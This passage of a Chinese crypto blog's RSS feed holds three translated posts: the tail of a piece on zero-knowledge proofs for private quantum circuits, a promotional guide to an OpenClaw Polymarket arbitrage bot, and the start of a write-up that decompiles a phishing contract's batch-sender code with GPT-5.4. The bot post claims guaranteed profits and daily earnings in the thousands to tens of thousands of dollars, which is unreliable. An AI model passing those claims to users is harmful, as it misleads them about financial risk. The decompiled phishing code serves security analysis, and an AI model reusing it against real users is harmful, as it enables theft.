<strong>&#x8981;&#x6C42;&#x7684;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x8BA1;&#x6570;</strong>&#xFF1A;1,175&#x4E2A;&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;</li></ul><p>&#x8F93;&#x51FA;&#xFF1A;</p><pre><code>Verifying Key (Hex): 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
Proof (Hex): 0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a324528d315674da45d26afb376e86700000000000000000000000000000000000000000000000000000000000000000215c7fe4fc597b861d82370ab556684ae36e98cf073e7f754f2788ad58721dbd012927516f316e7b4f3effb1dbd567732611cb0334f2d75e529c5e3becd0629c17605c7ff87c6f23324328744454bdec0df425a4a63e3358c10079c85ef757412ae86ae1f85bf47ef6980852d6f65423be2d90adb5b29896493324128b1cda0a0042f7138c850a1ca441210ba770a2eee39d56f6f90bf68b7a346e1658c6529715334621b6e1a63b85875b8c8a610e0d885662879755803027dad57d97140afb2498bbb63215b236575f95b0019f2b9713bc810e1e044d47ab360e92b899c46512fc97460609186bf1fe01c892a8015fb00e7fdea11b08f88c6adb79b1243518
Successfully verified Groth16 SNARK proof.
Circuit hash commitment: 0xcc8f532ffea1583ceed3c9af75de3263ebaddd5fdf3cddfb3dea848b94d0396a
Demanded Number of tests: 9024
Demanded Qubit count: 1175
Demanded Average non-Clifford count: 2700000
Demanded Total ops: 17000000
</code></pre><p>&#x2705; &#x4F4E;&#x95E8;&#x6570;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#xFF1A;</p><ul><li><strong>&#x7535;&#x8DEF;SHA-256&#x54C8;&#x5E0C;</strong> / <strong>&#x7535;&#x8DEF;&#x54C8;&#x5E0C;&#x627F;&#x8BFA;</strong>&#xFF1A; 0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69</li><li><strong>&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;</strong> / <strong>&#x9A8C;&#x8BC1;&#x5BC6;&#x94A5;&#xFF08;&#x5341;&#x516D;&#x8FDB;&#x5236;&#xFF09;</strong>&#xFF1A; 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4</li><li><strong>&#x975E;Clifford&#x95E8; / &#x8981;&#x6C42;&#x7684;&#x5E73;&#x5747;&#x975E;Clifford&#x8BA1;&#x6570;</strong>&#xFF1A;2,100,000</li><li><strong>&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x8BA1;&#x6570;</strong> / <strong>&#x8981;&#x6C42;&#x7684;&#x91CF;&#x5B50;&#x6BD4;&#x7279;&#x8BA1;&#x6570;</strong>&#xFF1A;1,425&#x4E2A;&#x903B;&#x8F91;&#x91CF;&#x5B50;&#x6BD4;&#x7279;</li></ul><p>&#x8F93;&#x51FA;&#xFF1A;</p><pre><code>Verifying Key (Hex): 0x00ca4af6cb15dbd83ec3eaab3a0664023828d90a98e650d2d340712f5f3eb0d4
Proof (Hex): 0x0e78f4db0000000000000000000000000000000000000000000000000000000000000000008cd56e10c2fe24795cff1e1d1f40d3a324528d315674da45d26afb376e867000000000000000000000000000000000000000000000000000000000000000000a11fe07d3afe9d5e9b5af9fdb37fc38bd529d09b92e08350556a3a38ad03f1b2ed337741ecfeae1a65849d1927cdfc3ea4d211734cd747fc4a5534449ebfd1e2130fde87661e0e0fba6ec2055c130d875c7fa3358e25e2236e928520eddfa992a9e6510d0635161c62e0e29f4c28921f56126a908b286c4d910089780441a5811799d5c7dbf293ac3e6d5f51267efbf95cf8643cb28c5f7c2bac8ee9d4b55c830475b328ff9f9b257f2383e7934aaab12616e04645bf6a2b9820cafba4fd3830655d676b7ff376817bbd18a178cf091ad4f4e53b2e322a1d75b3e1400d9b66e1feb401eae0df274d7a774f0bd2fc471ce574348daeaac3ee288dcd282456a33
Successfully verified Groth16 SNARK proof.
Circuit hash commitment: 0x24f5758f2216aa87aa2806af32a0db788767b873cf6869510cca3d893b3f8a69
Demanded Number of tests: 9024
Demanded Qubit count: 1425
Demanded Average non-Clifford count: 2100000
Demanded Total ops: 17000000
</code></pre><h2 id="6%E3%80%81%E7%BB%93%E6%9D%9F%E8%AF%AD">6&#x3001;&#x7ED3;&#x675F;&#x8BED;</h2><p>Google&#x91CF;&#x5B50;AI&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x5F00;&#x53D1;&#x4E86;&#x80FD;&#x591F;&#x7834;&#x89E3;ECC&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#xFF0C;&#x8FD9;&#x4E9B;&#x7535;&#x8DEF;&#x672A;&#x516C;&#x5F00;&#x53D1;&#x5E03;&#xFF0C;&#x4F46;&#x53EF;&#x4EE5;&#x4F7F;&#x7528;&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#x8FDB;&#x884C;&#x9A8C;&#x8BC1;&#x3002;</p><p>&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x53EF;&#x80FD;&#x8D8A;&#x6765;&#x8D8A;&#x4F9D;&#x8D56;zk&#x8BC1;&#x660E;&#x6765;&#x5546;&#x4E1A;&#x5316;&#x7535;&#x8DEF;&#x3001;&#x9632;&#x6B62;&#x6EE5;&#x7528;&#xFF0C;&#x6216;&#x54CD;&#x5E94;&#x653F;&#x5E9C;&#x538B;&#x529B;&#xFF0C;&#x540C;&#x65F6;&#x4ECD;&#x7136;&#x516C;&#x5F00;&#x8BC1;&#x660E;&#x4ED6;&#x4EEC;&#x53D6;&#x5F97;&#x4E86;&#x7A81;&#x7834;&#x3002;</p><p>&#x8FD0;&#x884C;&#x9A8C;&#x8BC1;&#x5668;&#x786E;&#x8BA4;&#x5B58;&#x5728;&#x6EE1;&#x8DB3;&#x8BC1;&#x660E;&#x4E2D;&#x627F;&#x8BFA;&#x7684;&#x9648;&#x8FF0;&#x7684;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x3002;&#x7136;&#x800C;&#xFF0C;&#x5B83;&#x4E0D;&#x80FD;&#x786E;&#x8BA4;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x662F;&#x5426;&#x66FE;&#x5728;&#x91CF;&#x5B50;&#x8BA1;&#x7B97;&#x673A;&#x4E0A;&#x6210;&#x529F;&#x8FD0;&#x884C;&#xFF0C;&#x6216;&#x8005;ELF&#x4E8C;&#x8FDB;&#x5236;&#x6587;&#x4EF6;&#x672C;&#x8EAB;&#x662F;&#x5426;&#x5305;&#x542B;&#x6B63;&#x786E;&#x7684;&#x9A8C;&#x8BC1;&#x903B;&#x8F91;&#x3002;</p><p>&#x968F;&#x7740;&#x66F4;&#x591A;&#x7814;&#x7A76;&#x4EBA;&#x5458;&#x4F7F;&#x7528;&#x96F6;&#x77E5;&#x8BC6;&#x8BC1;&#x660E;&#x6765;&#x652F;&#x6301;&#x5173;&#x4E8E;&#x672A;&#x516C;&#x5F00;&#x91CF;&#x5B50;&#x7535;&#x8DEF;&#x7684;&#x4E3B;&#x5F20;&#xFF0C;&#x5BF9;&#x8BC1;&#x660E;&#x7684;&#x72EC;&#x7ACB;&#x9A8C;&#x8BC1;&#x548C;&#x5BA1;&#x8BA1;&#x5C06;&#x53D8;&#x5F97;&#x8D8A;&#x6765;&#x8D8A;&#x91CD;&#x8981;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;: <a href="https://medium.com/@jkim_tran/verifying-private-quantum-circuits-9ec99d5f3d5a?ref=defiplot.com">How zero-knowledge proofs make quantum circuits &quot;private&quot;</a></p><p>DefiPlot &#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[OpenClaw 跑 Polymarket]]></title><description><![CDATA[OpenClaw连接到 API 后，它可与 Polymarket 和交易所的订单簿配合使用。]]></description><link>https://defiplot.com/blog/run-openclaw-as-polymarket-bot/</link><guid isPermaLink="false">69bd2084ec23a43b2add942a</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Fri, 20 Mar 2026 10:29:19 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/03/openclaw-polymarket.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/03/openclaw-polymarket.png" alt="OpenClaw &#x8DD1; Polymarket"><p>&#x7F16;&#x7A0B;&#x5C0F;&#x767D;&#x53C8;&#x600E;&#x6837;&#xFF1F;&#x8FD9;&#x6B63;&#x662F;&#x5173;&#x952E;&#x6240;&#x5728;&#x3002;&#x53EA;&#x9700; 5 &#x5206;&#x949F;&#x3002;</p><p>&#x4F60;&#x65E0;&#x9700;&#x6210;&#x4E3A;&#x7A0B;&#x5E8F;&#x5458;&#x5373;&#x53EF;&#x542F;&#x52A8;&#x4EA4;&#x6613;&#x673A;&#x5668;&#x4EBA;&#x3002;</p><p>&#x867D;&#x7136; GPT &#x53EF;&#x80FD;&#x4F1A;&#x6D3E;&#x4E0A;&#x7528;&#x573A;&#x3002;</p><p>&#x4E0D;&#x786E;&#x5B9A;&#xFF1F;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-8.png" class="kg-image" alt="OpenClaw &#x8DD1; Polymarket" loading="lazy" width="598" height="189"></figure><p>@noisyb0y1 - &#x4F20;&#x5947;&#x4EBA;&#x7269;</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-9.png" class="kg-image" alt="OpenClaw &#x8DD1; Polymarket" loading="lazy" width="665" height="160" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-9.png 600w, https://defiplot.com/blog/content/images/2026/03/image-9.png 665w"></figure><p>&#x6700;&#x521D;&#xFF0C;&#x6211;&#x4EEC;&#x9700;&#x8981; Claude&#xFF0C;&#x5B83;&#x53EF;&#x4EE5;&#xFF1A;</p><blockquote>&#x7F16;&#x5199; Python &#x673A;&#x5668;&#x4EBA;<br>&#x8FDE;&#x63A5;&#x5230; Polymarket API<br>&#x901A;&#x8FC7; WebSocket &#x8FDE;&#x63A5;&#x5230;&#x4EA4;&#x6613;&#x6240;</blockquote><p>&#x4F60;&#x8BA9; Claude &#x7F16;&#x5199;&#x673A;&#x5668;&#x4EBA;&#x3002;</p><p>&#x5728;&#x4EE3;&#x7801;&#x4E2D;&#xFF0C;&#x673A;&#x5668;&#x4EBA;&#x4F7F;&#x7528; OpenClaw SDK&#xFF08;&#x7528;&#x4E8E;&#x8DDF;&#x8E2A;&#x5B9E;&#x65F6;&#x6570;&#x636E;&#xFF09;&#x3002;</p><p>&#x4F60;&#x6765;&#x5236;&#x5B9A;&#x4EFB;&#x52A1;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x4E00;&#x4E2A;&#x5957;&#x5229;&#x673A;&#x5668;&#x4EBA;&#xFF09;&#xFF1A;</p><p>&#x201C;&#x5144;&#x5F1F;&#xFF0C;&#x505A;&#x4E00;&#x4E2A;&#x673A;&#x5668;&#x4EBA;&#xFF0C;&#x8FFD;&#x8E2A;&#x6BD4;&#x7279;&#x5E01;&#x4EF7;&#x683C;&#xFF0C;&#x5728; Polymarket &#x4E0A;&#x5BFB;&#x627E;&#x5957;&#x5229;&#x673A;&#x4F1A;&#xFF0C;&#x5E76;&#x81EA;&#x52A8;&#x5F00;&#x4ED3;&#x4E70;&#x5165;&#x4EF7;&#x683C;&#x4F4E;&#x4E8E; 1 &#x7F8E;&#x5143;&#x7684;&#x4E70;&#x5356;&#x53CC;&#x65B9;&#xFF08;&#x4E0A;&#x6DA8; + &#x4E0B;&#x8DCC;&#xFF09;&#x3002;&#x201D;</p><p>&#x663E;&#x7136;&#xFF0C;&#x6700;&#x597D;&#x5C3D;&#x53EF;&#x80FD;&#x8BE6;&#x7EC6;&#x6E05;&#x6670;&#x5730;&#x63CF;&#x8FF0;&#x4EFB;&#x52A1;&#x8981;&#x6C42;&#x3002;</p><p>&#x4F60;&#x5F97;&#x5230;&#x4E00;&#x4E2A;&#x53EF;&#x8FD0;&#x884C;&#x7684;&#x6846;&#x67B6;&#x3002;</p><p>&#x63A5;&#x4E0B;&#x6765;&#xFF0C;&#x5C06;&#x5176;&#x90E8;&#x7F72;&#x5230;&#x670D;&#x52A1;&#x5668;&#x4E0A;&#xFF0C;&#x5E76;&#x7528;&#x5C11;&#x91CF;&#x8D44;&#x91D1;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#x3002;</p><p><strong>&#x4EE3;&#x7801;&#x672C;&#x8EAB;&#x53EA;&#x662F;&#x4E00;&#x4E2A;&#x5DE5;&#x5177;&#xFF0C;&#x5229;&#x6DA6;&#x6765;&#x81EA;&#x5F53;&#x4E70;&#x5165;&#x4EF7;&#x683C; + &#x4E0B;&#x8DCC;&#x4EF7;&#x683C; &lt; 1 &#x7F8E;&#x5143;&#x65F6;&#x7684;&#x5957;&#x5229;&#x3002;</strong></p><p>&#x4EFB;&#x4F55;&#x4E8C;&#x5143;&#x671F;&#x6743;&#x5E02;&#x573A;&#x90FD;&#x9075;&#x5FAA;&#x8FD9;&#x6837;&#x7684;&#x8FD0;&#x4F5C;&#x65B9;&#x5F0F;&#xFF1A;&#x4E70;&#x5165;&#x4EF7;&#x683C; + &#x4E0B;&#x8DCC;&#x4EF7;&#x683C; = 1 &#x7F8E;&#x5143;&#xFF08;&#x662F; + &#x5426;&#xFF09;&#x3002;</p><p>&#x5982;&#x679C;&#x5728;&#x4EFB;&#x4F55;&#x65F6;&#x5019;&#x4F60;&#x90FD;&#x80FD;&#x4EE5;&#x4F4E;&#x4E8E; 1 &#x7F8E;&#x5143;&#x7684;&#x4EF7;&#x683C;&#x4E70;&#x5165;&#x4E70;&#x5165;&#xFF0C;&#x90A3;&#x4E48;&#x5230;&#x671F;&#x65F6;&#x5C31;&#x80FD;&#x4FDD;&#x8BC1;&#x76C8;&#x5229;&#x3002;</p><p>&#x4F8B;&#x5982;&#xFF1A;&#x4E0A;&#x6DA8; = 0.48 |&#x4E0B;&#x8DCC; = 0.49</p><p>0.48 + 0.49 = 0.97</p><p>&#x4E70;&#x5165;&#x6B63;&#x53CD;&#x4E24;&#x65B9; -&gt; &#x7ED3;&#x7B97;&#x65F6;&#x6536;&#x5230; 1 &#x7F8E;&#x5143; -&gt; +3%</p><figure class="kg-card kg-image-card"><img src="https://defiplot.com/blog/content/images/2026/03/image-10.png" class="kg-image" alt="OpenClaw &#x8DD1; Polymarket" loading="lazy" width="746" height="416" srcset="https://defiplot.com/blog/content/images/size/w600/2026/03/image-10.png 600w, https://defiplot.com/blog/content/images/2026/03/image-10.png 746w" sizes="(min-width: 720px) 720px"></figure><p><strong>OpenClaw &#x7684;&#x4F5C;&#x7528;&#xFF1A; </strong></p><p>&#x8FDE;&#x63A5;&#x5230; API &#x540E;&#xFF0C;&#x5B83;&#x53EF;&#x4E0E; Polymarket &#x548C;&#x4EA4;&#x6613;&#x6240;&#x7684;&#x8BA2;&#x5355;&#x7C3F;&#x914D;&#x5408;&#x4F7F;&#x7528;&#x3002;</p><blockquote>&#x5B9E;&#x65F6;&#x8FFD;&#x8E2A;&#x4EA4;&#x6613;&#x6240;&#x7684; BTC &#x4EF7;&#x683C;<br>&#x5F53;&#x4EA4;&#x6613;&#x6240;&#x4EF7;&#x683C;&#x51FA;&#x73B0;&#x5267;&#x70C8;&#x6CE2;&#x52A8;&#x65F6;&#xFF0C;&#x5B83;&#x4F1A;&#x5728; Polymarket &#x4E0A;&#x505A;&#x51FA;&#x53CD;&#x5E94;<br>&#x7ACB;&#x5373;&#x4E0B;&#x5355;<br>&#x8BE5;&#x673A;&#x5668;&#x4EBA;&#x5B9E;&#x65F6;&#x76D1;&#x63A7;&#x4EA4;&#x6613;&#x6240;&#x4EF7;&#x683C;&#xFF0C;&#x5E76;&#x5728; Polymarket &#x8C03;&#x6574;&#x4E4B;&#x524D;&#x5BF9;&#x5176;&#x53D8;&#x5316;&#x505A;&#x51FA;&#x53CD;&#x5E94;&#x3002;</blockquote><p>&#x8FD9;&#x5C31;&#x662F;&#x5B83;&#x5982;&#x4F55;&#x6355;&#x6349;&#x5230;&#x4E0A;&#x6DA8; + &#x4E0B;&#x8DCC; &lt; 1 &#x7F8E;&#x5143;&#x7684;&#x6709;&#x6548;&#x4EA4;&#x6613;&#x7A97;&#x53E3;&#x3002;</p><p><strong>&#x76EE;&#x524D;</strong></p><p>&#x5728; BTC &#x5E02;&#x573A;&#x4E0A;&#xFF0C;5 &#x5206;&#x949F;&#x3001;15 &#x5206;&#x949F;&#x3001;24 &#x5C0F;&#x65F6;&#x4EA4;&#x6613;&#x673A;&#x5668;&#x4EBA;&#xFF08;&#x65E0;&#x8BBA;&#x662F;&#x4E0A;&#x6DA8;&#x8FD8;&#x662F;&#x4E0B;&#x8DCC;&#xFF09;&#x6BCF;&#x5929;&#x53EF;&#x8D5A;&#x53D6;&#x6570;&#x5343;&#x751A;&#x81F3;&#x6570;&#x4E07;&#x7F8E;&#x5143;&#x3002;</p><p>&#x8BB8;&#x591A;&#x521B;&#x5EFA;&#x673A;&#x5668;&#x4EBA;&#x7684;&#x65B0;&#x8D26;&#x6237;&#x4F1A;&#x7528;&#x5C11;&#x91CF;&#x8D44;&#x91D1;&#x8FDB;&#x884C;&#x6D4B;&#x8BD5;&#xFF0C;&#x5982;&#x679C;&#x53D1;&#x73B0;&#x95EE;&#x9898;&#xFF08;&#x6F0F;&#x6D1E;&#xFF09;&#xFF0C;&#x4ED6;&#x4EEC;&#x4F1A;&#x4F7F;&#x7528; GPT &#x4F18;&#x5316;&#x4EE3;&#x7801;&#xFF0C;&#x76F4;&#x5230;&#x8FBE;&#x5230;&#x6700;&#x4F73;&#x72B6;&#x6001;&#x3002;</p><hr><p>&#x539F;&#x6587;&#x94FE;&#x63A5;&#xFF1A;<a href="https://x.com/DenisKursakov/status/2023761507364786290?ref=defiplot.com">Create a OpenClaw + Polymarket trading bot without your programming so you never have to work again</a></p><p>DefiPlot&#x7FFB;&#x8BD1;&#x6574;&#x7406;&#xFF0C;&#x8F6C;&#x8F7D;&#x8BF7;&#x6807;&#x660E;&#x51FA;&#x5904;</p>]]></content:encoded></item><item><title><![CDATA[使用 GPT-5.4 反编译字节码]]></title><description><![CDATA[这源于我听说从纯字节码反编译未经验证的智能合约应该很简单，于是我想探究一下“简单”在实践中究竟意味着什么。]]></description><link>https://defiplot.com/blog/decompling-evm-bytecode-with-gpt-5-4/</link><guid isPermaLink="false">69b94a6eec23a43b2add93ac</guid><category><![CDATA[tech]]></category><dc:creator><![CDATA[defiplot]]></dc:creator><pubDate>Tue, 17 Mar 2026 12:55:19 GMT</pubDate><media:content url="https://defiplot.com/blog/content/images/2026/03/decompling-evm-bytecode-with-gpt-5-4.png" medium="image"/><content:encoded><![CDATA[<img src="https://defiplot.com/blog/content/images/2026/03/decompling-evm-bytecode-with-gpt-5-4.png" alt="&#x4F7F;&#x7528; GPT-5.4 &#x53CD;&#x7F16;&#x8BD1;&#x5B57;&#x8282;&#x7801;"><p>&#x8FD9;&#x6E90;&#x4E8E;&#x6211;&#x542C;&#x8BF4;&#x4ECE;&#x7EAF;&#x5B57;&#x8282;&#x7801;&#x53CD;&#x7F16;&#x8BD1;&#x672A;&#x7ECF;&#x9A8C;&#x8BC1;&#x7684;&#x667A;&#x80FD;&#x5408;&#x7EA6;&#x5E94;&#x8BE5;&#x5F88;&#x7B80;&#x5355;&#xFF0C;&#x4E8E;&#x662F;&#x6211;&#x60F3;&#x63A2;&#x7A76;&#x4E00;&#x4E0B;&#x201C;&#x7B80;&#x5355;&#x201D;&#x5728;&#x5B9E;&#x8DF5;&#x4E2D;&#x7A76;&#x7ADF;&#x610F;&#x5473;&#x7740;&#x4EC0;&#x4E48;&#x3002;</p><p>&#x6211;&#x7C98;&#x8D34;&#x4E86;&#x4E00;&#x6BB5;&#x539F;&#x59CB;&#x5B57;&#x8282;&#x7801;&#xFF0C;&#x5E76;&#x76F4;&#x63A5;&#x5411; GPT-5.4 &#x63D0;&#x51FA;&#x4E86;&#x4E00;&#x4E2A;&#x95EE;&#x9898;&#xFF1A;</p><blockquote>&#x8BF7;&#x53CD;&#x7F16;&#x8BD1;&#x8FD9;&#x6BB5; EVM &#x5B57;&#x8282;&#x7801;</blockquote><p>&#x7B2C;&#x4E00;&#x4E2A;&#x5408;&#x7EA6;&#x5F88;&#x5C0F;&#xFF0C;&#x611F;&#x89C9;&#x5C31;&#x50CF;&#x662F;&#x70ED;&#x8EAB;&#x3002;&#x7D27;&#x63A5;&#x7740;&#xFF0C;&#x6211;&#x7C98;&#x8D34;&#x4E86;&#x7B2C;&#x4E8C;&#x4E2A;&#x66F4;&#x5927;&#x7684;&#x5B57;&#x8282;&#x7801;&#xFF0C;&#x7136;&#x540E;&#x95EE;&#x9053;&#xFF1A;&#x597D;&#x7684;&#xFF0C;&#x8FD9;&#x4E2A;&#x5462;&#xFF1F;</p><p>&#x6B63;&#x662F;&#x8FD9;&#x7B2C;&#x4E8C;&#x6B65;&#x8BA9;&#x6574;&#x4E2A;&#x8FC7;&#x7A0B;&#x53D8;&#x5F97;&#x6709;&#x8DA3;&#x8D77;&#x6765;&#x3002;&#x5B83;&#x5C55;&#x793A;&#x4E86; Balancer V2 &#x4E0A;&#x7684;&#x653B;&#x51FB;&#x8005;&#x5408;&#x7EA6;&#x662F;&#x4EC0;&#x4E48;&#x6837;&#x5B50;&#x3002;</p><h2 id="1%E3%80%81%E7%83%AD%E8%BA%AB%EF%BC%9A%E6%88%91%E4%BA%A4%E7%BB%99-llm-%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%E5%90%88%E7%BA%A6">1&#x3001;&#x70ED;&#x8EAB;&#xFF1A;&#x6211;&#x4EA4;&#x7ED9; LLM &#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x5408;&#x7EA6;</h2><p>&#x6211;&#x5F00;&#x59CB;&#x5728; Etherscan &#x4E0A;&#x641C;&#x7D22;&#x4E00;&#x4E9B;&#x672A;&#x7ECF;&#x9A8C;&#x8BC1;&#x7684;&#x5408;&#x7EA6;&#xFF08;&#x6CA1;&#x60F3;&#x5230;&#x73B0;&#x5728;&#x8FD9;&#x4E48;&#x96BE;&#xFF01;&#xFF09;&#xFF0C;&#x70B9;&#x51FB;&#x4E86;&#x51E0;&#x4E0B;&#x540E;&#xFF0C;&#x6211;&#x53D1;&#x73B0;&#x4E86;&#x4E00;&#x4E2A;&#x9493;&#x9C7C;&#x5408;&#x7EA6;&#xFF0C;&#x5730;&#x5740;&#x662F;&#xFF1A;</p><p><a href="https://etherscan.io/address/0xc727eb69ccf89d5911042f21be25a193d67e2c23?ref=defiplot.com#code">https://etherscan.io/address/0xc727eb69ccf89d5911042f21be25a193d67e2c23#code</a></p><p>&#x5B57;&#x8282;&#x7801;&#x672C;&#x8EAB;&#x5F88;&#x77ED;&#xFF0C;&#x8FD9;&#x4F7F;&#x5F97;&#x5B83;&#x6210;&#x4E3A; GPT &#x5904;&#x7406;&#x7684;&#x7B2C;&#x4E00;&#x4E2A;&#x5B8C;&#x7F8E;&#x793A;&#x4F8B;&#x3002;</p><p>GPT &#x9996;&#x5148;&#x67E5;&#x770B;&#x4E86;&#x8C03;&#x5EA6;&#x5668;&#xFF0C;&#x53EA;&#x8BC6;&#x522B;&#x51FA;&#x4E24;&#x4E2A;&#x516C;&#x5171;&#x9009;&#x62E9;&#x5668;&#xFF1A;</p><ul><li><code>0x13d06a4c</code></li><li><code>0xf851a440</code></li></ul><p>&#x8FD9;&#x901A;&#x5E38;&#x8868;&#x660E;&#x5408;&#x7EA6;&#x7684;&#x8303;&#x56F4;&#x5F88;&#x7A84;&#xFF0C;&#x6CA1;&#x6709;&#x592A;&#x591A;&#x6D3B;&#x52A8;&#x90E8;&#x4EF6;&#x3002;</p><p>&#x7531;&#x6B64;&#xFF0C;&#x5B83;&#x5F88;&#x5FEB;&#x5C31;&#x91CD;&#x6784;&#x4E86;&#x5173;&#x952E;&#x884C;&#x4E3A;&#xFF1A;</p><ul><li>&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#x8FD4;&#x56DE;&#x4E00;&#x4E2A;&#x786C;&#x7F16;&#x7801;&#x7684;&#x63A7;&#x5236;&#x5668;&#x5730;&#x5740;</li><li>&#x4E00;&#x4E2A;&#x51FD;&#x6570;&#x63A5;&#x53D7;&#x4E09;&#x4E2A;&#x6570;&#x7EC4;</li><li>&#x8C03;&#x7528;&#x8005;&#x5FC5;&#x987B;&#x662F;&#x90A3;&#x4E2A;&#x786C;&#x7F16;&#x7801;&#x7684;&#x63A7;&#x5236;&#x5668;</li><li>&#x6570;&#x7EC4;&#x957F;&#x5EA6;&#x5FC5;&#x987B;&#x5339;&#x914D;</li><li>&#x5FAA;&#x73AF;&#x8981;&#x4E48;&#x53D1;&#x9001; ETH&#xFF0C;&#x8981;&#x4E48;&#x8C03;&#x7528; <code>ERC20.transfer(...)</code>&#xFF0C;&#x5177;&#x4F53;&#x53D6;&#x51B3;&#x4E8E;&#x4EE3;&#x5E01;&#x5730;&#x5740;&#x662F;&#x5426;&#x4E3A;&#x96F6;</li></ul><p>&#x8FD9;&#x8DB3;&#x4EE5;&#x5C06;&#x5408;&#x7EA6;&#x91CD;&#x6784;&#x4E3A;&#x4E00;&#x4E2A;&#x975E;&#x5E38;&#x5C0F;&#x7684;&#x3001;&#x7531;&#x6240;&#x6709;&#x8005;&#x63A7;&#x5236;&#x7684;&#x6279;&#x91CF;&#x53D1;&#x9001;&#x5668;&#x3002;</p><p>&#x7528;&#x7C7B;&#x4F3C; Solidity &#x7684;&#x4F2A;&#x4EE3;&#x7801;&#x8868;&#x793A;&#xFF0C;&#x5B83;&#x57FA;&#x672C;&#x4E0A;&#x662F;&#xFF1A;</p><pre><code>pragma solidity ^0.8.21;

interface IERC20 {
    function transfer(address to, uint256 amount) external returns (bool);
}

contract BatchSenderLike {
    error AuthOrLengthError();   // selector: 0x47556579
    error TransferFailed();      // selector: 0x90b8ec18

    address public constant controller =
        0xc0007d8C810bEce9B3199bb65799145165F9437c;

    receive() external payable {}

    // selector: 0xf851a440
    function getController() external pure returns (address) {
        return controller;
    }

    // selector: 0x13d06a4c
    function batchSend(
        address[] calldata assets,
        address[] calldata recipients,
        uint256[] calldata amounts
    ) external payable {
        if (msg.sender != controller) revert AuthOrLengthError();
        if (
            assets.length != recipients.length ||
            recipients.length != amounts.length
        ) revert AuthOrLengthError();

        for (uint256 i = 0; i &lt; assets.length; i++) {
            if (assets[i] == address(0)) {
                (bool ok, ) = payable(recipients[i]).call{value: amounts[i]}(&quot;&quot;);
                if (!ok) revert TransferFailed();
            } else {
                (bool ok, bytes memory ret) =
                    assets[i].call(
                        abi.encodeWithSelector(
                            IERC20.transfer.selector,
                            recipients[i],
                            amounts[i]
                        )
                    );

                if (!ok) revert TransferFailed();
                if (ret.length != 0 &amp;&amp; !abi.decode(ret, (bool))) {
                    revert TransferFailed();
                }
            }
        }
    }
}</code></pre><p>&#x5C31;&#x8FD9;&#x6837;&#xFF0C;&#x6211;&#x4EEC;&#x770B;&#x5230;&#x4E86;&#x9493;&#x9C7C;&#x5408;&#x7EA6;&#x7684;&#x6279;&#x91CF;&#x5904;&#x7406;&#x529F;&#x80FD;&#xFF0C;&#x5B83;&#x53D1;&#x9001;&#x4E86; 28 &#x4E07;&#x7B14;&#x4EA4;&#x6613;&#xFF0C;&#x622A;&#x81F3;&#x64B0;&#x5199;&#x672C;&#x6587;&#x65F6;&#xFF0C;&#x8FD8;&#x6709; 19 &#x7B14;&#x4EA4;&#x6613;&#x5904;&#x4E8E;&#x5F85;&#x5904;&#x7406;&#x72B6;&#x6001;&#x3002;</p><p>&#x55EF;&#xFF0C;&#x8FD9;&#x4E2A;&#x6279;&#x91CF;&#x5904;&#x7406;&#x529F;&#x80FD;&#x8BA9;&#x6211;&#x60F3;&#x8D77;&#x4E86;&#x53E6;&#x4E00;&#x4EF6;&#x4E8B;&#x2026;&#x2026;</p><h2 id="2%E3%80%81%E7%AC%AC%E4%BA%8C%E4%B8%AA%E5%AD%97%E8%8A%82%E7%A0%81%E7%89%87%E6%AE%B5">2&#x3001;&#x7B2C;&#x4E8C;&#x4E2A;&#x5B57;&#x8282;&#x7801;&#x7247;&#x6BB5;</h2><p>&#x7B2C;&#x4E8C;&#x4E2A;&#x5B57;&#x8282;&#x7801;&#x662F; Balancer &#x6F0F;&#x6D1E;&#x5229;&#x7528;&#x8005;&#x7684;&#x5408;&#x7EA6;&#x3002;</p><p><a 